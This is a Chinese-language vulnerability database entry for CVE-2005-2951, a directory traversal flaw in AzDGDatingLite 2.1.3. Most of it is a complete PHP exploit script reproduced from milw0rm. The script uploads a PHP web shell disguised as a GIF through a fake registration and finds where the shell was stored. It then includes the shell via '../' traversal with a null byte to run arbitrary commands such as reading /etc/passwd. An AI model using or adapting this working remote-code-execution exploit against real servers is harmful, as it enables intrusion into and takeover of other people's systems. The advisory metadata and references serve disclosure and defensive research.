AzDGDatingLite security.inc.php目录遍历漏洞

漏洞ID	1109068	漏洞类型	路径遍历
发布时间	2005-09-13	更新时间	2005-10-20
CVE编号	CVE-2005-2951	CNNVD-ID	CNNVD-200509-154
漏洞平台	PHP	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/1214
https://cxsecurity.com/issue/WLB-2005090005
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200509-154

|漏洞详情

AzDGDatingLite是一款支持多语方的交友系统软件。AzDGDatingLite2.1.3版本，可能还包括早期版本，其中的security.inc.php存在目录遍历漏洞，允许远程攻击者通过”..”(参数中包含’..’)执行任意PHP(超级文本预处理语言)指令。l参数中的序列和”%00″(跟随空字符)用于include_once语句。

|漏洞EXP

<?php
#   azdgexpl.php                                                               #
#                                                                              #
#   AzDGDatingLite V 2.1.3 ( possibly prior versions) remote code execution    #
#   with generic http proxy support                                            #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   go!                                                                        #
#                                                                              #
#   Sun-tzu: "Therefore, I say: Know your enemy and know yourself; in a        #
#   hundred battles, you will never be defeated. When you are ignorant         #
#   of the enemy but know yourself, your chances of winning or losing          #
#   are equal. If ignorant both of your enemy and of yourself, you are         #
#   sure to be defeated in every battle."                                      #
#                                                                              #


error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title>AzDGDatingLite V 2.1.3  remote commands execution</title><meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> AzDGDatingLi
te V 2.1.3 (possibly prior versions) remote commands execution</p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org"    target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&uploaddir=value"> <p>    <input type=
"text" name="host"><span class="Stile5">hostname (ex: www.sitename.com)  </span>
</p><p><input type="text" name="path"><span class="Stile5">  path (ex: /azdg/ or
just /) </span></p><p><input type="text"   name="port" >   <span class="Stile5">
specify a port other than 80 (default value)  </span></p><p> <input  type="text"
name="command"> <span  class="Stile5"> a Unix command , example: ls -la  to list
directories, cat /etc/passwd to show passwd file </span></p><p><input type="text
" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:por
t</span></p> <p> <input  type="submit"name="Submit" value="go!"></p></form></td>
</tr></table></body></html>';

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>  </td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).' -> not a valid proxy...';
	     die;
	    }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path<>'') and ($host<>'') and ($command<>''))
{
  if ($port=='') {$port=80;}

# step 1 -> register and upload the evil jpeg file

srand(make_seed());
$anumber=rand(10000,99999);

//do not modify absolutely CRLF and spaces here...
$data='-----------------------------23281168279961
Content-Disposition: form-data; name="l"

default
-----------------------------23281168279961
Content-Disposition: form-data; name="a"

a
-----------------------------23281168279961
Content-Disposition: form-data; name="fname"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="lname"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="pass"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="rpass"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="month"

11
-----------------------------23281168279961
Content-Disposition: form-data; name="day"

27
-----------------------------23281168279961
Content-Disposition: form-data; name="year"

1942
-----------------------------23281168279961
Content-Disposition: form-data; name="gender"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="purpose"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="country"

158
-----------------------------23281168279961
Content-Disposition: form-data; name="email"

jimihendrix'.$anumber.'@hotmail.com
-----------------------------23281168279961
Content-Disposition: form-data; name="url"


-----------------------------23281168279961
Content-Disposition: form-data; name="icq"


-----------------------------23281168279961
Content-Disposition: form-data; name="aim"


-----------------------------23281168279961
Content-Disposition: form-data; name="phone"


-----------------------------23281168279961
Content-Disposition: form-data; name="city"


-----------------------------23281168279961
Content-Disposition: form-data; name="marstat"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="child"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="height"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="weight"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="hcolor"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="ecolor"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="etnicity"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="religion"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="smoke"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="drink"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="education"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="job"


-----------------------------23281168279961
Content-Disposition: form-data; name="hobby"


-----------------------------23281168279961
Content-Disposition: form-data; name="descr"

rock star
-----------------------------23281168279961
Content-Disposition: form-data; name="sgender"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="setnicity"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="sreligion"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="agef"

14
-----------------------------23281168279961
Content-Disposition: form-data; name="aget"

60
-----------------------------23281168279961
Content-Disposition: form-data; name="heightf"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="heightt"

22
-----------------------------23281168279961
Content-Disposition: form-data; name="weightf"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="weightt"

45
-----------------------------23281168279961
Content-Disposition: form-data; name="hdyfu"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="file0"; filename="jimihendrix.gif"
Content-Type: image/jpeg

';

$shell='<?php error_reporting(0); system($HTTP_GET_VARS[cmd].'."'".' > README'."'".'); ?>';

$data.=$shell;

$data.='
-----------------------------23281168279961
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream


-----------------------------23281168279961
Content-Disposition: form-data; name="file2"; filename=""
Content-Type: application/octet-stream


-----------------------------23281168279961--';
if ($proxy=='')
{$packet="POST ".$path."/add.php HTTP/1.1rn";}
else
{$packet="POST http://".$host.$path."add.php HTTP/1.1rn";}
$packet.="Host: ".$host."rn";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)rn";
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5rn";
$packet.="Accept-Language: en-us,en;q=0.5rn";
$packet.="Accept-Encoding: gzip,deflatern";
$packet.="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn";
$packet.="Connection: closern";
$packet.="Referer: http://".$host.$path."add.php?l=defaultrn";
$packet.="Cookie: PHPSESSID=13798fab78f7fa6e5bb501ac83329bddrn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------23281168279961rn";
$packet.="Content-Length: ".strlen($data)."rnrn";
$packet.=$data;
show($packet);
sendpacket($packet);

#step 2 -> retrieve upload subdir name and filename from index e profile page
if ($proxy=='')
{$packet="GET ".$path." HTTP/1.0 rn";}
else
{$packet="GET http://".$host.$path." HTTP/1.0 rn";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5rn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="Host: ".$host."rnrn";
$packet.="Connection: Closernrn";
show($packet);
sendpacket($packet);

$temp='';$i=0;
while (!eregi('jimihendrix'.$anumber,$temp))
{
$temp.=$html[$i];
$i=$i+1;
if (eregi('</html>',$temp)) { die(" Exploit failed... ");}
}

$temp2=explode('<a href="',$temp);
$temp3=count($temp2)-1;
$temp=$temp2[$temp3];
$temp2=explode('"',$temp);
$profile=$temp2[0];

echo '<br>retrieving shell path from /'.$profile.'<br><br>';

if ($proxy=='')
{$packet="GET ".$path.$profile." HTTP/1.0 rn";}
else
{$packet="GET http://".$host.$path.$profile." HTTP/1.0 rn";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5rn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="Host: ".$host."rnrn";
$packet.="Connection: Closernrn";
show($packet);
sendpacket($packet);

$temp='';$i=0;
while (!eregi('jimihendrix'.$anumber,$temp))
{
$temp.=$html[$i];
$i=$i+1;
if (eregi('</html>',$temp)) { die(" Exploit failed... ");}
}

$temp2=explode('<a href="',$temp);
$temp3=count($temp2)-1;
$temp=$temp2[$temp3];
$temp2=explode('"',$temp);
$shellfullpath=$temp2[0];

echo '<br>Ok,found... shell is at '.$shellfullpath.'<br><br>';
$temp=explode("/",$shellfullpath);
$temp2=count($temp)-1;
$subdir=$temp[$temp2-1];
$filename=$temp[$temp2];

# step 3 -> launch commands
if ($proxy=='')
{$packet="GET ".$path."include/security.inc.php?cmd=".urlencode($command)."&l=".urlencode("../../../members/uploads/".$subdir."/".$filename.chr(0x00))." HTTP/1.0 rn";}
else
{$packet="GET http://".$host.$path."include/security.inc.php?cmd=".urlencode($command)."&l=".urlencode("../../../members/uploads/".$subdir."/".$filename.chr(0x00))." HTTP/1.0 rn";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5rn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="Host: ".$host."rnrn";
$packet.="Connection: Closernrn";
show($packet);
sendpacket($packet);

# step 4 -> making a GET request for redirected output
echo '<br> if AzDGDatingLite is unpatched and vulnerable now you will see '.htmlentities($command).'output...<br><br>';

if ($proxy=='')
{$packet="GET ".$path."include/README HTTP/1.0 rn";}
else
{$packet="GET http://".$host.$path."include/README HTTP/1.0 rn";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5rn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="Host: ".$host."rnrn";
$packet.="Connection: Closernrn";
show($packet);
sendpacket($packet);
}
?>

# milw0rm.com [2005-09-13]

|参考资料

来源:XF
名称:azdgdating-securityinc-code-execution(22258)
链接:http://xforce.iss.net/xforce/xfdb/22258
来源:BID
名称:14819
链接:http://www.securityfocus.com/bid/14819
来源:SECUNIA
名称:16814
链接:http://secunia.com/advisories/16814/
来源:MISC
链接:http://rgod.altervista.org/azdg.html
来源:SREASON
名称:5
链接:http://securityreason.com/securityalert/5
来源:BUGTRAQ
名称:20050913AzDGDatingLiteV2.1.3remotecodeexecution
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=112662698511403&w;=2

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